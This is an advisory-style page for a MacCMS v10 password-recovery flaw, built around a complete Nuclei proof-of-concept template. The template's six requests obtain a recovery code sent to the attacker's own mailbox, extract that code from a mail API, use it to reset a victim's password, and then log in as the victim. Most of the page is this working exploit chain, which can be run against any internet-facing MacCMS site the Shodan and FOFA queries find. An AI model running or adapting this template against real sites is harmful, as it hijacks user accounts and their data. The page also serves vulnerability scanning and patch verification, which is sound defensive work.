CVE-2026-116214: MacCMS v10 < 2026.1000.4054 - Account Takeover

2026-12-04 PoC Public

Description

MacCMS v10 before 2026.1000.4054 verifies a password-recovery code without binding it to the account being reset. `check_msg()` matches only the anonymous user id, timestamp, code, and message type; the `msg_to` recipient column is ignored. `findpass_reset()` then resolves the victim from the request's `user_email`/`user_phone` and overwrites the password. An unauthenticated attacker can request a code for their own mailbox, read it, and submit it with a victim's email/phone to take over the account.

Details

CVE
CVE-2026-116214 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-116214

info:
  name: MacCMS v10 < 2026.1000.4054 - Account Takeover
  author: zapstiko
  severity: critical
  description: |
    MacCMS v10 before 2026.1000.4054 verifies a password-recovery code without binding it to the account being reset. `check_msg()` matches only the anonymous user id, timestamp, code, and message type; the `msg_to` recipient column is ignored. `findpass_reset()` then resolves the victim from the request's `user_email`/`user_phone` and overwrites the password. An unauthenticated attacker can request a code for their own mailbox, read it, and submit it with a victim's email/phone to take over the account.
  impact: |
    Unauthenticated attackers can take over any member account whose email or phone is known, including points, orders, profile data, and other member-only resources.
  remediation: |
    Upgrade to magicblack/maccms10 2026.1000.4054 or later, or backport commit 27bb1b004b9931c93f46b65e9c0e531466e7e02a, which binds the code to `msg_to`, requires `msg_status = 0`, and consumes the code atomically. Until patched, disable findpass_msg/findpass_reset or block resets where `to` differs from the target contact.
  reference:
    - https://github.com/zapstiko/CVE-2026-116214
    - https://www.cve.org/CVERecord?id=CVE-2026-116214
    - https://www.vulncheck.com/advisories/maccms-v10-before-2026.1000.4054-account-takeover-via-unbound-password-recovery-code
    - https://github.com/maccmspro/maccms10/issues/30
    - https://github.com/magicblack/maccms10/commit/27bb1b004b9931c93f46b65e9c0e531466e7e02a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-116214
    epss-score: 0.01973
    epss-percentile: 0.8114
    cwe-id: CWE-640
    cpe: cpe:2.3:a:maccms:maccms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 6
    vendor: maccms
    product: maccms
    shodan-query: http.html:"maccms"
    fofa-query: body="maccms"
  tags: cve,cve2026,maccms,account-takeover,password-reset,intrusive,vuln

variables:
  attacker_email: "attacker-{{randstr}}@lab.local"
  victim_email: victim@lab.local
  new_password: "{{rand_text_alphanumeric(16)}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)

http:
  - raw:
      - |
        GET /index.php/user/findpass_msg HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "找回密码", "var maccms")'
        condition: and
        internal: true

  - raw:
      - |
        POST /index.php/user/findpass_msg HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        ac=email&to={{url_encode(attacker_email)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"code\":1")'
        condition: and
        internal: true

  - method: GET
    path:
      - "http://{{Host}}:8025/api/v1/messages"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, attacker_email)'
        condition: and
        internal: true

    extractors:
      - type: json
        name: msg_id
        part: body
        json:
          - '.messages[0].ID'
        internal: true

  - method: GET
    path:
      - "http://{{Host}}:8025/api/v1/message/{{msg_id}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Text")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: code
        part: body
        group: 1
        regex:
          - '验证码为[::]\s*([0-9]{6})'
        internal: true

  - raw:
      - |
        POST /index.php/user/findpass_reset HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        ac=email&to={{url_encode(attacker_email)}}&user_email={{url_encode(victim_email)}}&code={{code}}&user_pwd={{new_password}}&user_pwd2={{new_password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"code\":1")'
          - 'contains(body, "密码重置成功")'
        condition: and
        internal: true

  - raw:
      - |
        POST /index.php/user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_name={{url_encode(victim_email)}}&user_pwd={{new_password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"code\":1")'
          - 'contains(body, "登录成功")'
        condition: and
# digest: 4b0a00483046022100a4768c04beb413f6bf27345b4c95b64dcce5b6d1189b1b4b7f89dd575f3b83b3022100fab7ab2367b4ab101138c9bdabdd7de0c00f3c9959f1a9c31b81bae411b93a76:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life